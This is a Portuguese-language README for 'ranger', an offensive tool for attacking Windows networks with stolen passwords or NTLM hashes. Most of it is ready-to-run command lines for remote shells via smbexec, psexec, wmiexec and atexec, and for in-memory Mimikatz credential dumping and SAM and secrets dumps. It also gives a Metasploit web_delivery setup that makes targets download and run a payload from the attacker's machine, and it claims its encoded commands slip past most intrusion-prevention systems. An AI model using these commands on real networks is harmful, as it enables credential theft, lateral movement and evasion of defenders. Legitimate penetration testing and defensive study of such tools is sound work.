ranger

Uma ferramenta para auxiliar profissionais de segurança a acessar e interagir com sistemas remotos baseados em Microsoft Windows.

Este projeto foi concebido com o pensamento: não inventamos o arco ou a flecha, apenas uma forma mais eficiente de usá-los.

Ranger é uma ferramenta de ataque e teste de penetração orientada por linha de comando, que tem a capacidade de usar um servidor catapulta instanciado para entregar capacidades contra sistemas Windows. Desde que um usuário tenha um conjunto de credenciais ou um conjunto de hashes (NTLM, LM, LM:NTLM), ele pode obter acesso a sistemas que fazem parte da confiança.

Usando essa capacidade, um profissional de segurança pode extrair credenciais da memória em texto claro, acessar tabelas SAM, executar comandos, scripts PowerShell, binários Windows e outras ferramentas. Atualmente, a ferramenta contorna a maioria das soluções de IPS de fornecedores, a menos que tenham sido ajustadas especificamente para detectá-la. A ferramenta foi desenvolvida usando nossos laboratórios caseiros em um esforço para apoiar profissionais de segurança que realizam atividades legais e/ou contratualmente apoiadas.

Mais funcionalidades estão sendo adicionadas, mas no momento a ferramenta usa contribuições da comunidade de repositórios relacionados às equipes PowerShell PowerView, PowerShell Mimikatz e Impacket.

Gerenciando o Ranger:

Instalação:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Atualização:

ranger --update

Uso:

• O Ranger usa uma combinação de métodos e ataques; um método é usado para entregar um ataque/comando.
• Um ataque é o que você está tentando realizar.
• Alguns itens são tanto método quanto ataque em um só, e alguns métodos não podem usar alguns ataques devido a limitações atuais nas bibliotecas ou protocolos.

Métodos e Ataques:

--scout
--secrets-dump

Método:

--wmiexec
--psexec
--smbexec
--atexec

Ataque:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

Execução de Comandos:

Encontrar Usuários Logados:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

Shell de Comando SMBEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

Shell de Comando PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

Execução de Comando PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

Execução de Comando WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

Injetor de Memória PowerShell Mimikatz via WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

Injetor de Memória web_delivery do Metasploit via WMIEXEC (requer configuração do Metasploit, veja abaixo):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

Injetor de Memória de Código Personalizado via WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Execução de Comando ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

Injetor de Memória PowerShell Mimikatz via ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

Injetor de Memória web_delivery do Metasploit via ATEXEC (requer configuração do Metasploit, veja abaixo):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

Injetor de Memória de Código Personalizado via ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

Injetor de Memória de Código Personalizado via SECRETSDUMP:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

Criar Ataque Mimikatz Coleável:

ranger.py --invoker -q -v -vv -vvv

Criar Ataque web_delivery Coleável (requer configuração do Metasploit, veja abaixo):

ranger.py --downloader -q -v -vv -vvv

Criar Ataque Executor Coleável:

ranger.py --executor -q -v -vv -vvv

Identificando Membros de Grupos e Domínios

• Ao identificar grupos, certifique-se de determinar qual é o domínio de consulta real com --get-domain-membership
• Em seguida, ao consultar um grupo, use o --domain opcional, que permite direcionar um domínio diferente daquele em que você fez login.

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

Notas Sobre o Uso:

Formato do Arquivo de Credenciais:

• Você pode passar uma lista de nomes de usuário e senhas ou hashes no seguinte formato, no mesmo arquivo:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

Ressalvas do Arquivo de Credenciais:

• Se você fornecer nomes de domínio no arquivo, eles serão usados em vez do padrão WORKGROUP.
• Se você fornecer o nome do domínio via linha de comando -d, ele inferirá que você deseja ignorar todos os nomes de domínio no arquivo.

Execução pela Linha de Comando:

• Se você não quiser usar o arquivo, pode passar os detalhes diretamente pela linha de comando.
• Se desejar fornecer hashes em vez de senhas, basta passá-los no argumento de senha.
• Se estiverem no formato PWDUMP e você não fornecer nome de usuário, ele extrairá o nome de usuário do hash.
• Se você fornecer um nome de usuário, ele considerará que o mesmo hash se aplica a um usuário diferente.
• Use os seguintes formatos para senha:

password
LM:NTLM
:NTLM
PWDUMP

Alvos e Exclusões:

• Alvos e exclusões podem ser usados ao mesmo tempo

Alvos, Faixas de Alvos, CIDRs de Alvos, Listas de Alvos, Alvos XML do NMAP:

• Você pode fornecer uma lista de alvos usando uma lista de alvos ou através da opção de alvo.
• Você pode fornecer vários arquivos de lista de alvos separando-os por vírgula; os dados serão agregados, duplicatas removidas e seu endereço IP da interface padrão ou da interface fornecida será excluído.
• A ferramenta aceita notações CIDR, faixas pequenas (192.168.195.1-100) ou faixas grandes (192.168.194.1-192.163.1.1) ou endereços IP únicos.
• Novamente, basta separá-los por vírgula na linha de comando ou colocá-los em um arquivo delimitado por nova linha.
• Arquivos XML do Nmap também podem ser usados para direcionar sistemas, também podem ser separados por vírgula.
• A ferramenta normalizará e removerá duplicatas antes de direcionar as máquinas.
• EXEMPLO: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

Exclusões, Faixas de Exclusão, CIDRs de Exclusão, Listas de Exclusão, Exclusões XML do Nmap:

• Você também pode excluir alvos usando os argumentos de exclusão; assim, se você não tocar em uma pequena Classe C dentro de uma Classe A, ele descobrirá isso para você.
• As exclusões podem ser feitas exatamente da mesma maneira que os alvos, basta substituir o t nos comandos por e.
• EXEMPLO: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Sistemas de Prevenção de Intrusão (IPS):

• Mimikatz, Downloader e Executor usam injeção de memória PowerShell chamando outros serviços e protocolos.
• Os comandos são duplamente codificados e contornam as soluções atuais de IPS (mesmo as de próxima geração), a menos que sejam especificamente ajustados para capturar esses ataques.
• ATEXEC é o único que atualmente chega ao disco e não codifica; ainda tenho algumas reescritas a fazer.

Ataques Invoker:

• Executa o PowerShell Mimikatz na máquina alvo.
• O padrão da função/cmdlet é Invoke-Mimikatz, que pode ser alterado com -f.
• O padrão dos argumentos é DumpCreds, que pode ser alterado com -a.
• Invoker requer ambas as opções -f e -a se você quiser alterar o comando; para evitar usar -a, você pode usar Executor.
• EXEMPLO: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Ataques Executor:

• Permite executar binários e/ou scripts PowerShell nas máquinas alvo.
• Deve estar no diretório atual onde o script ou binário está localizado em sua máquina de ataque.
• O script ou binário será injetado diretamente na memória.
• Requer que o payload (binário ou script) seja identificado com -x.
• Requer que a função/cmdlet/argumentos sejam definidos por -f.
• Opcionalmente, você pode definir melhor o comando com -a se a ferramenta exigir.
• EXEMPLO 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• EXEMPLO 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Ataques Downloader (web_delivery):

• Para configurar o Metasploit para o exploit web_delivery, inicie o Metasploit e configure o exploit para atender às seguintes condições.

use exploit/multi/script/web_delivery
set targets 2
set payload <escolha o payload desejado>
set lhost <seu IP>
set lport <porta para o shell, certifique-se de que não seja uma porta conflitante>
set URIPATH /
set SRVPORT <a mesma porta definida pela opção -r no ranger, o padrão é 8888>
exploit -j

##FAQ

Erros de Acesso Negado para SMBEXEC e WMIEXEC

Estou recebendo erros de acesso negado em máquinas Windows que fazem parte de um WORKGROUP.

Quando não faz parte de um domínio, o Windows por padrão não possui compartilhamentos administrativos. O SMBEXEC depende de compartilhamentos ativados. Além disso, o WMIC não está ativado em máquinas WORKGROUP. O SMBEXEC e o WMIEXEC são feitos para atingir protocolos ativados em sistemas de domínio. Embora seja certamente possível ativar essas funções em um sistema WORKGROUP, observe que você estará introduzindo protocolos vulneráveis (afinal, é para isso que esta ferramenta foi feita). Ativar esses recursos no seu sistema doméstico principal que seu parceiro usa para Facebook provavelmente não é a melhor ideia.

• Certifique-se de que esta é uma máquina de teste que você possui. Você pode forçar a ativação dos compartilhamentos seguindo as instruções aqui: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• Se você quiser determinar quais compartilhamentos estão expostos e então atacá-los, pode usar uma ferramenta como enum4linux e então usar o argumento --share share_name no ranger para tentar executar o SMBEXEC.

Funcionalidades Futuras:

Saída Colorida:

• Continuar adicionando saída colorida com https://pypi.python.org/pypi/colorama
• WINDOWER – Executar PowerShell sem ocultar a janela para evitar certos sistemas de monitoramento
• GATHERER – Extrator automatizado de credenciais para um grupo de domínio
• HUNTER – Decisão Semi-Inteligente (SID) – Identifica um caminho de escalonamento com base em semelhanças de associação a grupos usando árvores de classificação
• Melhor análise de NTDS e Grupos
• Servidores Catapulta SMB

#Agradecimentos:

• À Microsoft pelo PowerShell (e antecipadamente pelo bash no Windows!)
• À equipe CoreLabs Impacket
• À equipe PowerShellEmpire
• Ao Mattifestation por iniciar o PowerSploit e ao PowerShellMafia e contribuidores por continuar desenvolvendo-o
• Aos nossos amigos e à comunidade pela comunidade construtiva

Apresentado Em:

[BSides Charm City 2016: 23 de abril de 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Vídeo da Apresentação:

[Vídeo] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Distribuições das quais a ferramenta faz parte:

[Black Arch Linux] (https://blackarch.org/)